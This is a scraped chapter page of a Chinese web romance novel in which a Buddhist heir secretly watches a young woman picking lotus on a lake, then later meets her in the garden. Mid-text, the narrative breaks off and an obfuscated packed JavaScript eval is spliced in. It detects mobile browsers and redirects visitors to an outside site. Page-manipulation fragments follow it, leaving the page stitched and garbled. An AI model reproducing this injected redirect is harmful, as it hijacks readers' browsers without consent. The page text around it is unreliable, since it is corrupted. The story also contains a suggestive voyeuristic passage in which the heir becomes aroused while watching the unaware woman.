默认冷灰
24号文字
方正启体

10. 第十章

作者:三语两言本书字数:K更新时间:
    齐氏姐妹俱不意外,干脆应好。


    齐拂己头也不回往佛堂去。对一尊菩萨、一炉檀香,诵经修禅,日落月升,周而复始。


    又过十余日,落玉突然和云窈说想吃莲子了。


    云窈无奈笑笑:“哪去寻莲子啊。”


    一日三餐并零嘴,都是国公府给什么吃什么,她没提过,也不敢提建议。


    后厨从不用莲子做食材,唯一那回过了嘴瘾的,是她和齐氏姐妹自己摘回来的。


    “小姐上回不是摘了些么?就那莲子,可好吃了!”


    云窈闻言回味,的确,那批莲子极嫩,莲心都不苦,一时间也被落玉说馋。


    “那湖上还有莲蓬吗?”落玉怂恿,“我们再摘点回来?”


    云窈回想湖里野莲肆意生长,上回她们只摘了一小片:“如果没别人采摘,应该还有。”


    落玉摇云窈胳膊:“好小姐,我们去摘些吧——那莲蓬不摘,也浪费了。”


    云窈拒绝。


    落玉契而不舍,一再央求,云窈终于架不住心软,喊上小院里能喊上的婢女仆妇,一道去采莲。


    云窈数过,她们有八名女子,人多势众,旁人定不敢行歹事!


    乌泱泱一行人上琴堤,过泉亭,泛舟清风池。


    没旁的人摘,莲蓬都还在,哪怕自熟枯萎,也仍挂在茎上。


    云窈记得上回来时,最前头临岸那片野莲蓬都还似苞,这会全胀大成熟,不由欣喜:“今日莲蓬比那日还多。”


    落玉和一众婢女闻言都高兴,两船八方开摘,云窈却朝更远些的岸上眺,有间小屋,来两回都是木门紧闭。


    没贴门联,阶上也尽生青苔,像是长期没人住的地方。


    她云窈上回就有留意,却到眼下才敢问:“那边是哪里?”


    汉阳公主并未拨体己下人给云窈,小筑里婢女仆妇皆是近十年内买进来的,不知明月庵,都说那屋子无名无主。


    “一直是荒地。”有仆妇道。


    另有婢女附和:“是啊,打奴进府时就没人住,也没人去那边。”


    云窈闻言反而宽心。


    其实她打心眼里喜欢游湖、赏荷,只是寄人篱下,拘紧放不开。上次她就想摘了荷花带回去插瓶,不敢开口,眼下确定再无他人,才斗胆做一回主,遥指岸边最艳丽完整的数朵红莲:“再往前划些,我们去摘那几朵荷花插瓶!”


    “好!”


    众女齐心协力,摇橹开路,碧绿的荷叶被分拨对开,船往前驶,涟漪向后缓缓蔓延。


    路上云窈和落玉剥刚采的莲蓬,绿壳直接放进口里咬开,然后手一捏,白嫩的莲子就挤进嘴中。如此剥着,到第三颗,云窈一咬:“哎呀瘪的!”


    她不自觉鼓了下腮。


    庵内窗后,透过一线几不可察缝隙窥视的齐拂己缓旋唇角——没想到她还有这样鲜活可爱的表情。


    快到岸边,云窈伸臂指挥:“那边,摘那边那朵!”


    那是附近最美的一朵。


    落玉听令,单腿跨上船头甲板,拔了两下红莲都没拔动。云窈道:“我来!”


    说着就挽袖子,也跨上甲板。


    窗后齐拂己又不自觉笑了下。


    云窈使出吃奶的劲拔了又拔,回头同落玉嘟囔:“我也不行,咱俩一起使力!”


    二女一同用力,差点跌倒,却仍抽拔不出荷花。云窈突然皱眉:“不对呀,掐下来就行。”


    不用拔的。


    齐拂己无声摇头,高旋着嘴角,眼里全是笑意。


    云窈已掐下荷花,让落玉收好,自己再去摘别的。湖上虽有微风,但亦有日晒,不一会她就出了汗,纱衣紧贴身上,隐露曲致。


    云窈却不察,一会摘荷花一会采莲蓬,还有个仆妇下地挖藕,真摸出一根带泥九孔的,众人欢呼。


    云窈忙得不亦乐乎,渐渐忘记身处齐府,觉得还在杭州西湖上,和爹娘一起划船,摘了莲蓬就坐船上现剥现吃。


    落玉从带上船的壶里倒出一碗乌梅汤,端给云窈:“小姐,喝点饮子。”


    云窈头回在国公府喝乌梅汤,就发现里面勾兑了米酒。她特别容易醉,所以后来就喝得少,但现下一来极渴,二来兴奋忘形,接过碗咕噜噜一饮而尽。


    很快上头,泛起困意,一般这时候爹爹都会收好桨,一家三口并排躺船上小憩,任由舟飘。


    阴凉,无浪,惬意。


    云窈晕乎乎就往甲板上躺,仰面呢喃:“这才是夏天呢。”


    这才是她的夏天。


    她闭上眼,很快进入梦乡。脸上始终挂笑,原先放在身上的手渐渐滑落,垂在船沿。


    窗后,齐拂己目不转睛,幽幽地想:是他上回盯着看的那只手,赏心悦目。


    云窈仍出微汗,纱衣沾了贴身,从齐拂己方向望去刚好见她后仰着,修长若天鹅的脖颈。那两团又高耸曲致,一滴汗自幽深隐秘处倒滑过锁骨,到脖颈,再倒下巴。


    这一滴汗,比那日眼角垂落的泪滴更诱人。齐拂己恍觉汗珠变成了自己的手,指腹一顺捋过锁骨,脖颈,到下巴。


    戛然而止。


    再往前一点,是她的唇,不薄也不算厚,肉生得刚刚好,红透欲滴。


    齐拂己整个人隐在窗后的阴影里,身形晦暗,眸色也愈来愈幽深。


    湖风掠过,将云窈衣领刮起,像个布口袋。齐拂己亦渐渐起势,坚如金刚杵。


    他喉间不自觉咽了咽,都怪这夏风,掀她的纱衣也撩他的袍衫,怪这盛夏三伏,还余春兴。


    不是幡动,是风动。


    翌日。


    汉阳公主没想到长子一大早会来请安,有多久没遇着这事了?


    给她激动的,一会关切齐拂己吃了没,让上满桌早膳,一会又命仆妇们再多端些冰盆进来,免得热坏儿子。


    公主自个座上也坐不住,不住挪身。


    齐拂己和煦回应:“孩儿已经用过早膳,只想陪母亲多说会话。”


    汉阳公主仰头望天,方才抑住老泪纵横。


    他陪伴公主闲聊,半个时辰过去,仍然没有见到想见的人。


    据他了解,每日清晨云窈都会来问公主安,最迟不过辰时。如今已辰时一刻,怎还不见佳人芳踪?


    齐拂己该答答,该笑笑,面不改色,心里却思忖:是什么绊住了她?


    云窈的确被人绊住。


    她今早独自出门,没走多久就邂逅齐拂意,他也是一个人。二人并肩走了一段路,云窈很快留意到齐拂意左右脚不平,肩膀也忽高忽低。


    平时在公主那,她偶尔会同齐拂意搭话,已经发现他本性不坏,但因为都是坐着,没察觉腿疾。


    云窈不作声压慢脚步,不叫齐拂意走太急,现出腿跛。


    又三、四十步,齐拂意才忽然意识到云窈在迁就自己,犹如当胸被捶一拳,心头狂跳。


    他再向云窈打听时,面上就沾染薄红:“妹妹芳龄几何?”


    “十七。”


    “那你比阿静阿妍都小,哪月生的?”


    “正月。”


    “正月几日的?”齐拂意追问。


    “二二,”云窈咬唇,“今日十七岁零七月整。”


    齐拂意一笑:“我是五月二十二生的,刚好痴长妹妹八个月。”


    齐拂己久候不见人,辞别公主出院,就瞧见云窈和二弟并排同行,言笑晏晏。


    呵,怪不得迟了。


    齐拂己心头泛过一阵冷意,又觉两分牙酸。


    面上却不显,一如既往温文平和。


    云窈先瞥见大公子,但她没和他说过话,连照面都不曾正经打过,打招呼岂不唐突?


    她假装没看见,直到走得很近了,齐拂意才眯眼瞧清,伸臂急呼:“大哥!”


    齐拂己点了点下巴,淡道:“我来看母亲。”


    话音将落就往右手踱下台阶,再未瞥二人一眼。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15499685|170282||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    齐拂意注视兄长背影,向云窈介绍:“这是我大哥,世子。”


    云窈屈膝低头:“民女失礼,没来得及请安。”


    “不要紧。”齐拂意微笑,用手上折扇虚扶起她,他的语气也很温柔,“我大哥是修佛世外人,不拘繁文缛节,也不会因此怪罪谁。”


    齐拂意再次眺向齐拂己离去方向,兄长这是去佛堂?奇怪,怎么孤身一人?大安速喜呢?


    他今日是为了和云窈私下说话,特意不带长随,大哥又是为了什么?


    图个清修?


    云窈未再眺,目不斜视,心中默想:大安说世子和善能容,现在二公子也这么说。


    如果人人都夸赞一个人心肠好,那他就真的是大善人!


    云窈自此笃定齐拂己人好。


    她攥了下拳头:下回见到大公子一定要向他道谢!谢他救她这个未曾谋面,不相干的人!


    真是大慈大悲,云窈突然恨不得拜齐拂己一拜。


    她很快得了这个机会。


    问完安出来不久,就眺见齐拂己蹲在一排垂丝海棠下。这季节花早谢,养鸟人把树枝当架,挂了七、八个鸟笼。齐拂己就蹲在一只镀金的鸟笼下,不知在做什么。


    没想到能这么快再见,云窈愣了下,才悄悄走近,又怕无声无息吓着大公子,半道上脚步刻意加重,弄出声响。


    齐拂己兀地转身,云窈反被吓一跳,不自觉连退两步。


    齐拂己垂眼看她的绣鞋挪远,默不作声。


    云窈抚胸,渐渐镇定下来,视线下移,见他掌中托着一只黄绿相间的鹦鹉,缩翅垂首,似有些奄。她一嗅就能闻到檀香和膏药味。


    云窈再往齐拂几身后瞟,草地上点点血迹,便问:“大公子……在救鹦哥?哦忘了介绍,大公子恕罪!”云窈急急行礼,“民女姓云名窈,是单姨娘的侄女,借住在木樨小院。余婆他们在别有洞天救的就是民女,当日多亏大公子在殿下面前美言,民女方能脱困。”


    半晌,齐拂己在两瓣唇间悠悠碾过三字:“有印象。”


    云窈微微蹙眉,如此深恩在他眼里就仅仅只是“有印象”?


    下一瞬她就想通了,贵人事多,她只是芥子般渺小的一粒,大公子就算忘了她也正常。


    但人家不徒报,她却要知恩,再叩拜,恭恭敬敬:“多谢大公子出手相助,大恩大德民女没齿难忘!”


    齐拂己敛眸,讳莫如深。


    云窈没怎么对视齐拂己,视线再次落到鹦鹉身上,关切:“这只鹦哥受伤了吗?”


    这一排笼里养的都是汉阳公主的鹦鹉,有一只试图从金笼中逃走,却因为太久未飞,翅膀退化,跌落受伤。


    “它从金笼里摔出来,跌伤翅膀,我刚好瞧见,给它治了下伤。”齐拂己徐徐将鹦鹉放回金笼,反锁上。


    云窈笑道:“大公子慈悲心善,救苦救难。”


    她合唇默默添上半句:人鸟都救。


    再抬头时瞥见齐拂己额上汗涔涔。


    他刚才有出这么多汗吗?


    云窈不大记得,见对面竹林地上全是阴影,便道:“这里晒,大公子不如竹下说话?”


    邀完她就后悔了,去竹下还说什么呢?该谢的已经谢完了,不知道再讲什么。


    齐拂己睹着云窈脸上细微变化,眸色晦暗:“无防,这里说一样的。”


    而后阖唇,似在等她开口。


    她没话呀!


    尴尬!


    云窈干杵久了,甚至闻见齐拂己身上淡淡檀香混冷香。她想,如果自己是只猴子此刻肯定抓耳挠腮,但不是,于是咬唇,几快咬破。


    少顷,齐拂己开口:“晒与不晒,境由心造。青青翠竹尽是法身……”他眺向对面竹林,底下还开一簇簇紫竹花,“而那紫竹花也无非般若。”


    云窈忙点头:“大公子一言,醍醐灌顶。”


    说完这句,捉襟见肘,再逼她没话找话,她就要哭了。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)